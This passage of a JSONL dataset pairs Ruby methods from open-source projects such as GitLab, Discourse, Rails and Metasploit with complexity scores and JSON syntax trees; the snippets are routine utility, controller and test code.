end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"Storages\"]},\"DeleteService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]},\"call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]},\"full_messages\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_delete\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_settings_storages_path\"]}]}]}]}","id":"909f46c7-8208-466f-87d1-ce03bbf833a6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":357,"raw_source":"def single_post_request?\n    @post_number && @post_number != 1\n  end","complexity_score":2.43,"ast_json":"{\"type\":\"def\",\"children\":[\"single_post_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_number\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"f05b1e6d-b11b-4540-b533-93cd693df1c6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_embeddings_controller.rb","start_line":194,"raw_source":"def log_ai_embedding_deletion(embedding_details)\n        logger = DiscourseAi::Utils::AiStaffActionLogger.new(current_user)\n        logger.log_deletion(\"embedding\", embedding_details)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_ai_embedding_deletion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"embedding_details\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"AiStaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"log_deletion\",{\"type\":\"str\",\"children\":[\"embedding\"]},{\"type\":\"lvar\",\"children\":[\"embedding_details\"]}]}]}]}","id":"49e7f626-5e46-4cb8-8429-b129e601b9dd"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/html_formatter.rb","start_line":49,"raw_source":"def example_passed(passed)\n          @printer.move_progress(percent_done)\n          @printer.print_example_passed(passed.example.description, passed.example.execution_result.run_time)\n          @printer.flush\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"example_passed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"passed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@printer\"]},\"move_progress\",{\"type\":\"send\",\"children\":[null,\"percent_done\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@printer\"]},\"print_example_passed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passed\"]},\"example\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passed\"]},\"example\"]},\"execution_result\"]},\"run_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@printer\"]},\"flush\"]}]}]}","id":"b0c02072-bce1-402a-a88e-ebb45d32779d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_scopes.rb","start_line":2,"raw_source":"def self.included(base_module)\n    base_module.class_eval do\n      def self.extended(base_class)\n        base_class.class_eval do\n          def self.visible(*args)\n            user = args.first || User.current\n            with_visible_entries_on self, user:, project: args[1]\n          end\n\n          def self.visible_costs(*args)\n            user = args.first || User.current\n            with_visible_costs_on self, user:, project: args[1]\n          end\n        end\n      end\n    end\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_module\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_module\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_class\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_class\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visible\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[null,\"with_visible_entries_on\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visible_costs\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[null,\"with_visible_costs_on\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}]}]}]}","id":"000c410d-a687-43ca-807a-c220cce1e9d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/packages_finder.rb","start_line":39,"raw_source":"def base\n      return ::Packages::Package.for_projects(project).without_package_type(:terraform_module) unless package_type\n\n      package_class = ::Packages::Package.inheritance_column_to_class_map[package_type.to_sym]\n\n      raise ArgumentError, \"'#{package_type}' is not a valid package_type\" unless package_class\n\n      package_class.constantize.for_projects(project)\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_type\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"for_projects\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"without_package_type\",{\"type\":\"sym\",\"children\":[\"terraform_module\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"inheritance_column_to_class_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_type\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_class\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_type\"]}]},{\"type\":\"str\",\"children\":[\"' is not a valid package_type\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_class\"]},\"constantize\"]},\"for_projects\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"16a783eb-19e9-404c-9f08-a08255c03ebb"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/abstract_controller_test.rb","start_line":58,"raw_source":"def index_to_string\n        self.response_body = render_to_string \"index\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index_to_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"response_body=\",{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"str\",\"children\":[\"index\"]}]}]}]}","id":"a7e44d40-8a3b-4131-8145-15fd147fc26d"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/runner.rb","start_line":214,"raw_source":"def debug_loaded_extensions(str)\n      @log_writer.debug \"────────────────────────────────── #{str}\"\n      re_ext = /\\.#{RbConfig::CONFIG['DLEXT']}\\z/i\n      $LOADED_FEATURES.grep(re_ext).each { |f| @log_writer.debug(\"    #{f}\") }\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"debug_loaded_extensions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"────────────────────────────────── \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"re_ext\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbConfig\"]},\"CONFIG\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DLEXT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOADED_FEATURES\"]},\"grep\",{\"type\":\"lvar\",\"children\":[\"re_ext\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}]}]}]}","id":"2b0000ac-aa5a-42e8-9c54-bedfbacb9043"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb","start_line":34,"raw_source":"def get\n            statements.sample.call\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statements\"]},\"sample\"]},\"call\"]}]}","id":"28ad9192-1d7e-4d8e-bc99-c303f24f520a"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":432,"raw_source":"def test_parse_with_incomplete_date\n    zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n    zone.stub(:now, zone.local(1999, 12, 31)) do\n      twz = zone.parse(\"19:00:00\")\n      assert_equal Time.utc(1999, 12, 31, 19), twz.time\n    end\n  end","complexity_score":14.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_with_incomplete_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"local\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"parse\",{\"type\":\"str\",\"children\":[\"19:00:00\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]}]}]}]}]}","id":"dc5ae0fd-28bd-4cad-bdcd-159376181826"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/helper.rb","start_line":28,"raw_source":"def assert_invalid_key_cant_read_attribute(model, attribute_name)\n      if model.type_for_attribute(attribute_name).key_provider.respond_to?(:keys=)\n        assert_invalid_key_cant_read_attribute_with_custom_key_provider(model, attribute_name)\n      else\n        assert_invalid_key_cant_read_attribute_with_default_key_provider(model, attribute_name)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_invalid_key_cant_read_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"type_for_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},\"key_provider\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"keys=\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_invalid_key_cant_read_attribute_with_custom_key_provider\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_invalid_key_cant_read_attribute_with_default_key_provider\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]}]}","id":"e90d896f-1065-41fb-bf04-bf44b8b5a475"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/proxy/socks5/server_client.rb","start_line":276,"raw_source":"def stop\n      @mutex.synchronize do\n        unless @closed\n          begin\n            @lsock.close if @lsock\n          rescue\n          end\n\n          begin\n            @rsock.close if @rsock\n          rescue\n          end\n\n          @client_thread.kill if @client_thread and @client_thread.alive?\n          @server.remove_client(self)\n          @closed = true\n        end\n      end\n    end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@closed\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lsock\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lsock\"]},\"close\"]},null]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rsock\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rsock\"]},\"close\"]},null]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_thread\"]},\"alive?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_thread\"]},\"kill\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"remove_client\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@closed\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6441efaa-b6db-4522-bde6-a968de80cb64"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rabal/tree.rb","start_line":162,"raw_source":"def walk(tree,method)\n    method.call(tree)\n    tree.children.each_pair do |name,child|\n      walk(child,method) \n    end\n    #for depth first\n    #method.call(tree)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"walk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tree\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"tree\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"children\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"walk\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"f202a637-9028-40a8-a0ad-b622a2c81e4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/package.rb","start_line":227,"raw_source":"def package_settings\n      project.namespace.package_settings\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"package_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"package_settings\"]}]}","id":"58520a64-9206-464c-8fdc-0b41d39ed0c7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/web_hook_topic_view_serializer.rb","start_line":31,"raw_source":"def created_by\n    BasicUserSerializer.new(object.topic.user, scope: scope, root: false)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"created_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicUserSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"235a0aef-6fb2-46e0-9530-84d3c198dcd0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/health_controller.rb","start_line":31,"raw_source":"def render_checks(checks = [])\n    result = Gitlab::HealthChecks::Probes::Collection\n      .new(*checks)\n      .execute\n\n    # disable static error pages at the gitlab-workhorse level, we want to see this error response even in production\n    headers[\"X-GitLab-Custom-Error\"] = 1 unless result.success?\n\n    render json: result.json, status: result.http_status\n  end","complexity_score":12.08,"ast_json":"{\"type\":\"def\",\"children\":[\"render_checks\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"checks\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HealthChecks\"]},\"Probes\"]},\"Collection\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checks\"]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-GitLab-Custom-Error\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"http_status\"]}]}]}]}]}]}","id":"c9b66c37-2160-47c5-af19-2081b9e9d7a7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/notifications_controller.rb","start_line":32,"raw_source":"def unread\n    @notification.update(read_at: nil)\n    render json: @notification\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unread\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@notification\"]}]}]}]}]}]}","id":"b953cc89-31e7-4f52-b95f-d97f3bb41d6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/slacks_controller.rb","start_line":38,"raw_source":"def slack_integration_params\n        params.require(:slack_integration).permit(:alias)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"slack_integration_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"slack_integration\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"alias\"]}]}]}","id":"7b3594b5-7a39-47c2-bc2c-bf80473118bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/relation_batch_export_worker.rb","start_line":60,"raw_source":"def re_enqueue_job(user, batch)\n      reset_cache_timeout(batch)\n      log_extra_metadata_on_done(:re_enqueue, true)\n\n      self.class.perform_in(PERFORM_DELAY, user.id, batch.id)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"re_enqueue_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_cache_timeout\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"re_enqueue\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"perform_in\",{\"type\":\"const\",\"children\":[null,\"PERFORM_DELAY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"id\"]}]}]}]}","id":"6dad9c0d-32da-47c4-b84e-614926e6e068"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/lazy_relation_loader.rb","start_line":51,"raw_source":"def loader_cache_key\n          @loader_cache_key ||= self.class.name.to_s + kwargs.sort.to_s\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"loader_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loader_cache_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kwargs\"]},\"sort\"]},\"to_s\"]}]}]}]}","id":"6bd9cbc4-dcae-4c94-9023-0d76def0753a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/enforces_admin_authentication.rb","start_line":15,"raw_source":"def self.authorize!(ability, only:)\n      actions = Array(only)\n\n      skip_before_action :authenticate_admin!, only: actions\n      prepend_before_action -> { authorize_ability!(ability) }, only: actions\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authorize!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ability\"]},{\"type\":\"kwarg\",\"children\":[\"only\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actions\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"only\"]}]}]},{\"type\":\"send\",\"children\":[null,\"skip_before_action\",{\"type\":\"sym\",\"children\":[\"authenticate_admin!\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"prepend_before_action\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"authorize_ability!\